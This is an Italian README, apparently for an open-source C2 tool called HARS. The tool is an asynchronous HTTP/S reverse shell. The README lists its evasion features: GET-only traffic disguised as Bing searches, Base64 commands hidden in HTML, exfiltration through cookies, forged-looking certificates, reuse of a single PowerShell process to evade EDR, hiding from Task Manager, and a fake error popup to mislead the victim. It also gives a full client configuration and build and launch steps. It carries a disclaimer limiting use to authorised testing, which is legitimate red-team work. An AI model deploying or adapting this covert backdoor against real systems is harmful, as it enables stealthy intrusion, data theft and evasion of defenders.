HTTP/S Asincrona Reverse Shell

✨ Introduzione

In un'epoca in cui sistemi di rilevamento avanzati come IDS, IPS, EDR, AV e firewall dominano le reti aziendali, eluderli durante valutazioni di sicurezza offensive è una sfida. La maggior parte delle reverse shell sfruttano tunnel TCP (L4), che ora vengono regolarmente analizzati e segnalati.

Questo progetto presenta una soluzione innovativa: una reverse shell completamente asincrona su HTTP/S che si mimetizza nel normale traffico web imitando il comportamento legittimo degli utenti.

A differenza delle reverse shell tradizionali, utilizza solo richieste GET, appare come normali query web e può opzionalmente funzionare su HTTPS con un certificato contraffatto che appare legittimo, riducendo al minimo le possibilità di rilevamento.

Come funziona ?

1. L'applicazione client viene eseguita sulla macchina target.
2. Il client avvia la connessione con il server.
3. Il server accetta la connessione - quindi :

Il client interroga il server finché non riceve istruzioni.
L'attaccante fornisce istruzioni al server.
Quando un comando viene definito, il client lo esegue e restituisce il risultato.
E così via, finché l'attaccante non decide di terminare la sessione.

Dichiarazione di non responsabilità

Questo strumento è inteso esclusivamente come dimostrazione del concetto per test di sicurezza autorizzati. Assicurati di verificare le leggi locali prima di utilizzare questo strumento.

🔧 Funzionalità

Oggi, come POC, sono implementate le seguenti funzionalità:

• Comunicazione furtiva solo GET.
• Mima il traffico di Bing.com.
• Comandi codificati in Base64 nell'HTML.
• Esfiltrazione tramite cookie HTTP.
• HTTPS opzionale con certificato contraffatto.
• Ritardi e template casuali per richiesta.
• Riutilizzo di un singolo processo PowerShell per eludere l'EDR.
• Compatibile con comandi CMD e PowerShell.
• Popup opzionale di messaggio di errore falso.
• Nascosto dal Task Manager.
• Esecuzione opzionale a livello di amministratore.

🎥 Dimostrazione

Lato client

Lato server

⚙️ Configurazione

Client (C#)

1. Apri HARS.sln in Visual Studio.
2. Modifica Config.cs per adattarlo al tuo ambiente:

    class Config
        {
            /* Behavior */
            // Display a fake error msg at startup
            public static bool DisplayErrorMsg = true;
            // Title of fake error msg
            public static string ErrorMsgTitle = "This application could not be started.";
            // Description of fake error msg
            public static string ErrorMsgDesc = "Unhandled exception has occured in your application. \r\r Object {0} is not valid.";
            // Min delay between the client calls
            public static int MinDelay = 2;
            // Max delay between the client calls
            public static int MaxDelay = 5;
            // Fake uri requested - Warning : it must begin with "search" (or need a change on server side)
            public static string Url = "search?q=search+something&qs=n&form=QBRE&cvid=";
            /* Listener */
            // Hostname/IP of C&C server
            public static string Server = "https://127.0.0.1";
            // Listening port of C&C server
            public static string Port = "443";
            // Allow self-signed or "unsecure" certificates - Warning : often needed in corporate environment using proxy
            public static bool AllowInsecureCertificate = true;
        }

Opzionale: Modifica HARS.manifest per regolare il livello di privilegio.

requestedExecutionLevel può essere impostato su asInvoker, highestAvailable o requireAdministrator.

Proprietà del progetto

Qui puoi personalizzare le informazioni dell'assembly e un'icona per il file.

Nota: La versione del framework .NET di destinazione è impostata su 4.6, disponibile per impostazione predefinita in Windows 10.
Per Windows 7, scegli .NET 3.5 se non vuoi dover installare funzionalità mancanti.

Compilazione

Compila il progetto da Visual Studio. Il client dovrebbe essere generato nella cartella Http Asynchronous Reverse Shell\HARS_Client\HARS\bin\Release.

Fatto!

Server (Python)

1. Modifica HARS_Server.py in HARS_Server/www/ per personalizzare la porta o il percorso del certificato.

PORT = 443
CERT_FILE = '../server.pem'

2. Esegui con:

python HARS_Server.py

Note

• I log HTTP si trovano in Http Asynchronous Reverse Shell\HARS_Server\logs\
• Puoi aggiungere i tuoi template (qualsiasi pagina html) in Http Asynchronous Reverse Shell\HARS_Server\templates

🔗 Riferimenti

• RSA NetWitness Detection Review by Lee Kirkpatric
• Deep Dive Analysis by Nasreddine Bencherchali

@onSec-fr